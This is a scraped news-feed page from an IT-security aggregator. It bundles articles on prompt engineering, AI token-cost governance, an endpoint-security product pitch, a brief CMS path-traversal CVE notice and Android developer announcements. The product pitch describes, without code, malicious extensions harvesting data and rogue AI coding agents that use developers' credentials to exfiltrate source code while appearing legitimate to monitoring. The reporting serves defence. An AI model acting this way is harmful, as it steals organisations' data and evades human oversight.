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]]> <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3694396/it-security-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Sat, 25 Jul 2026 18:55:51 +0200 📰 IT Security Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

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]]> <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Sat, 25 Jul 2026 18:55:48 +0200 📰 IT Security Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]> https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ Sat, 25 Jul 2026 18:55:47 +0200 📰 IT Security Nachrichten tsecurity.de

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior 

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

]]> <![CDATA[CVE-2026-5203 | CMS Made Simple up to 2.2.22 UserGuide Module XML Import class.UserGuideImporterExporter.php _copyFilesToFolder path traversal]]> https://tsecurity.de/de/3694071/sicherheitsluecken/cve-2026-5203-cms-made-simple-up-to-2222-userguide-module-xml-import-classuserguideimporterexporterphp-copyfilestofolder-path-traversal/ https://tsecurity.de/de/3694071/sicherheitsluecken/cve-2026-5203-cms-made-simple-up-to-2222-userguide-module-xml-import-classuserguideimporterexporterphp-copyfilestofolder-path-traversal/ Sat, 25 Jul 2026 17:03:04 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de CMS Made Simple up to 2.2.22 and classified as critical. This impacts the function _copyFilesToFolder in the library modules/UserGuide/lib/class.UserGuideImporterExporter.php of the component UserGuide Module XML Import. The manipulation results in path traversal. This vulnerability is known as CVE-2026-5203. It is possible to launch the attack remotely. Furthermore, an exploit is available. This issue has been reported early to the project. They confirmed, that "this has already been discovered and fixed for the next release."]]> <![CDATA[Android: Simple App bringt praktischen Tacho (analog + digital), Geschwindigkeitswarner und Distanzmesser]]> https://tsecurity.de/de/3693935/it-nachrichten/android-simple-app-bringt-praktischen-tacho-analog-digital-geschwindigkeitswarner-und-distanzmesser/ https://tsecurity.de/de/3693935/it-nachrichten/android-simple-app-bringt-praktischen-tacho-analog-digital-geschwindigkeitswarner-und-distanzmesser/ Sat, 25 Jul 2026 15:12:27 +0200 📰 IT Nachrichten tsecurity.de geschwindigkeitsmesser cover
Moderne Android-Smartphones sind mit Sensoren ausgestattet, die jede Bewegung des Nutzers erfassen können - und diese werden von zahlreichen Apps fĂŒr die unterschiedlichsten Aufgaben verwendet. AnlĂ€sslich einer aktuellen Entwicklung wollen wir euch heute eine simple App vorstellen, die ĂŒber begehrte StĂ€rken verfĂŒgt und daher praktisch sein kann: Ein einfacher Geschwindigkeitsmesser, der auch auch einen Geschwindigkeitswarner, eine Distanzinfo und mehr mitbringt.

Mehr lesen: Android: Simple App bringt praktischen Tacho (analog + digital), Geschwindigkeitswarner und Distanzmesser

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Der Beitrag Android: Simple App bringt praktischen Tacho (analog + digital), Geschwindigkeitswarner und Distanzmesser erschien zuerst auf GoogleWatchBlog.

]]> <![CDATA[Supermarkt-Trick entlarvt: Darum steht Grillkohle immer vor dem Eingang]]> https://tsecurity.de/de/3693886/it-nachrichten/supermarkt-trick-entlarvt-darum-steht-grillkohle-immer-vor-dem-eingang/ https://tsecurity.de/de/3693886/it-nachrichten/supermarkt-trick-entlarvt-darum-steht-grillkohle-immer-vor-dem-eingang/ Sat, 25 Jul 2026 13:57:18 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[OpenAI Confirms ChatGPT is Down Worldwide]]> https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/ https://tsecurity.de/de/3693775/ios-mac-os/openai-confirms-chatgpt-is-down-worldwide/ Sat, 25 Jul 2026 11:49:11 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Increasing app discovery and engagement on Google TV]]> https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/ https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/ Sat, 25 Jul 2026 10:15:47 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Paul Lammertsma, Developer Relations Engineer



With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.

Drive discovery and engagement with Gemini

Last year, we brought our AI voice assistant, Gemini, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.

Since launch, we’ve made improvements to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.

Declare support for pointing modality

The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.

Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:

1. Adapt your TV app UI Library

You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.

  1. Hover state: Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.
  2. Scrollable containers: Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.
  3. Cursor clicks: Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).

2. Test pointing interactions with a mouse today

To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.

3. Declare TV app support for pointer remotes on Google Play

Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.

Within your AndroidManifest.xml, declare the meta-data tag, android.software.leanback.supports_touch. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.

AndroidManifest.xml

<manifest ...>
    <!-- Signal whether the app is adaptive or built just for TV -->
    <uses-feature android:name="android.software.leanback" android:required="true|false" />

    <!-- Ensure the app can be installed on conventional TVs -->
    <uses-feature android:name="android.hardware.touchscreen" android:required="false" />

    <!-- Signal whether the app supports pointer remotes -->
    <meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/>

    <application ...>
        ...
    </application>
</manifest>

Tips:

  • The android.software.leanback feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.
  • The new software attribute of android.software.leanback.supports_touch declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).
  • If you haven't already, now is the time to adopt Jetpack Compose. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.

Onboard the Engage SDK

The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.

  • Resumption: Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.
  • Entitlements: The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.
  • Recommendations: The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.

It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to goo.gle/engage-tv to learn more.

We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.

Explore this announcement and all Google I/O 2026 updates on io.google.
]]> <![CDATA[Build native Android apps in Google AI Studio]]> https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/ https://tsecurity.de/de/3693512/android-tipps/build-native-android-apps-in-google-ai-studio/ Sat, 25 Jul 2026 10:15:46 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Emma-Louise Leavey, Group Product Manager and Mike Taylor-Cai, Product Manager


Starting today Google AI Studio can build entire Android apps for you in minutes from just a prompt. You don't need to install any software or configure any libraries, which significantly lowers the barrier to development. Whether you’re a seasoned developer looking to prototype at lightning speed or a creator building your first-ever mobile experience, you can now go from a single prompt to a high-quality, Kotlin-based Android app in AI Studio. You can easily install the app on your device, share it with others for testing, or send it to Android Studio for any further development.

The power of native Android

While AI has made it easy to generate web-based apps, people want more on their mobile devices. They expect the beautiful and usable modern app design and capabilities that come with native Android user experiences, built with the Kotlin programming language using Jetpack Compose, the official and recommended toolkit for Android development. Native Android apps bring the reliability of offline support, continuous background services, and the deep integration of hardware sensors like GPS, Bluetooth, and NFC. We've brought the technology that enables you to quickly create new projects with Gemini in Android Studio directly into the web-based AI Studio. Now, you get the best of both worlds: the ease of a prompt-based interface paired with the power of the Android SDK, all in your browser, no installation required.

A seamless, end-to-end workflow

We have streamlined the entire development lifecycle so you can focus on your idea: 

1. Create your app and iterate in the cloud: Use the embedded Android Emulator directly in your browser to preview and interact with your app as it’s being built. No heavy SDKs to download, no local setup required.

Use the embedded Android Emulator to create and edit Android Apps right in the web browser

2. Install instantly: Connect your Android phone using a USB cable and install your app directly from AI Studio using the integrated Android Debug Bridge (adb).

Install the app on your Android device

3. Streamlined Publish to Google Play: Using your Google Play developer account, you can now publish your app directly from AI Studio for testing. AI Studio will automatically create your app record, package the bundle, and upload it to an internal testing track in Google Play Developer Console. Your app is available for you to install within minutes, and you can automatically update your app on your device as you develop it further in AI Studio. 

Publish the app to an internal test track in Google Play

Seamless app development handoff 
As you iterate on your app in AI Studio, you may find you need more advanced Android tools or support for a wider variety of Android device types. To move beyond the browser, you can seamlessly hand off your project to Android Studio by downloading a ZIP file or exporting it directly to GitHub.

Download zip file of Android app project files

When transitioning to a team environment or local development, you can leverage any IDE or agent you prefer. For a specialized experience, we recommend Gemini in Android Studio, which features models designed with Android in mind, or Antigravity, which integrates Android CLI commands into Google’s agentic development platform. This workflow makes building high-quality apps more accessible while giving you total flexibility in how you use AI to scale your project.

Start building today

To ensure a safe, high-quality ecosystem from day one, we have focused our initial release on specific capabilities including:
  • Personal utilities and simple social apps: You can rapidly prototype single or multi-screen apps, such as habit trackers, study quizzes, or event itineraries.
  • Hardware-enabled experiences: Because you are building native apps, you can leverage device features like the Camera, GPS/Location, Accelerometer and Bluetooth using the native Android APIs, letting you optimize hardware-level performance.
  • AI-powered experiences: You can create apps that feature Gemini API integrations, seamlessly embedding powerful AI capabilities directly into your mobile experience.

What’s Next?

We are moving fast to expand what’s possible for creators in AI Studio. Here is a sneak peek at what is coming soon:
  • Managing Google Play Test Tracks: Coming soon, we will be adding the ability to invite testers to try your app directly from AI Studio. 
  • Firebase integrations: Out-of-the-box support for Firestore, Firebase Auth, Firebase App Check and other tooling critical for Android developers is coming soon.

Head over to Google AI Studio right now to start building. Here is some inspiration to get you started
 

Turn your Google Pixel Watch into an aviation assistant
Prompt:
Build a small airplane "6-pack" instrument app for Google Pixel Watch. The 6 instruments should include attitude indicator, airspeed indicator, altimeter, turn coordinator, vertical speed indicator, and heading indicator. Use the Google Pixel Watch's sensors to power the instruments and display them clearly. Display one instrument at a time on the display. Swiping to the left or right should cycle through the instruments.


Interactive Harmonium app on Google Pixel Fold
Prompt:
Build a Harmonium app for Pixel Fold devices, which plays like the instrument based on the hinge angle and touch gestures. The app should simulate the bellows and reeds accurately.

An Android app for guitarists to become better musicians by jamming to backing tracks 
Prompt:
Build an Android guitar practice companion app that features a two-tab navigation system: 'Fretboard' and 'Library'.

The 'Fretboard' primary screen must contain an interactive guitar neck UI that visually maps out user-selected root notes, musical scales, and chords. Above the fretboard, implement a WebView-based YouTube player configured to play embedded videos inline. Additionally, include an AI generation feature that uses Retrofit to call Gemini Lyria 3 to create custom, 30-second backing tracks based on the user's currently selected key and scale. The generated audio files and their metadata must be saved locally using a database and displayed as a list in the 'Library' tab, where users can delete or play them.

Finally, implement a persistent, globally visible mini audio player at the bottom of the screen, complete with play/pause toggles, a progress slider for seeking, and timestamp text, allowing the user to seamlessly practice on the fretboard tab while listening to their tracks.
We are looking forward to seeing what you build next!

Explore this announcement and all Google I/O 2026 updates on io.google.
]]> <![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]> https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/ https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/ Sat, 25 Jul 2026 10:15:43 +0200 đŸ€– Android Tipps tsecurity.de Posted by Jingyu Shi, Staff Developer Relations Engineer




At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: 


1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf. 

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. 

  • Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

  • Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase. 

  • Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment. 
Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.


 2. On-Device Power with Gemini Nano 4 Preview


Last month, we launched Gemma 4, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the AIcore developer preview. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in ML Kit GenAI APIs: 

  • Prototype to Production: Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI Prompt API to leverage Gemini Nano 4 that’s launching in flagship devices later this year.

  • Structured Output: The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. 

  • Prefix Caching: It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.


For highly customized or niche use cases, you can also use LiteRT-LM to bring your own fine-tuned small language model to Android.



3. Hybrid Inference & Agents

To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:

  • Firebase AI Logic Hybrid Inference: This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as PREFER_ON_DEVICE, PREFER_CLOUD, ONLY_ON_DEVICE, or ONLY_CLOUD, based on your need.

  • A2UI Jetpack Compose Renderer: The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.

  • ADK for Android: The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.

From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: 
 


Start Building Today

Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI hub. For the full breakdown of what’s new, check out the official AI on Android at Google I/O 2026 playlist.

We are excited to see what you build! 


]]> <![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]> https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/ Sat, 25 Jul 2026 10:15:41 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.

To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:

  1. Maximize bytecode optimization with R8
  2. Optimize image loading
  3. Detect and fix memory leaks with Android Studio
  4. Trim memory when app leaves visible state
  5. Advanced memory observability with ProfilingManager

A condensed version of this blog post is also available in video format, go check it out!

Understanding Android 17 app memory limits

App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.

Here is a breakdown of the reasons driving this architectural change:

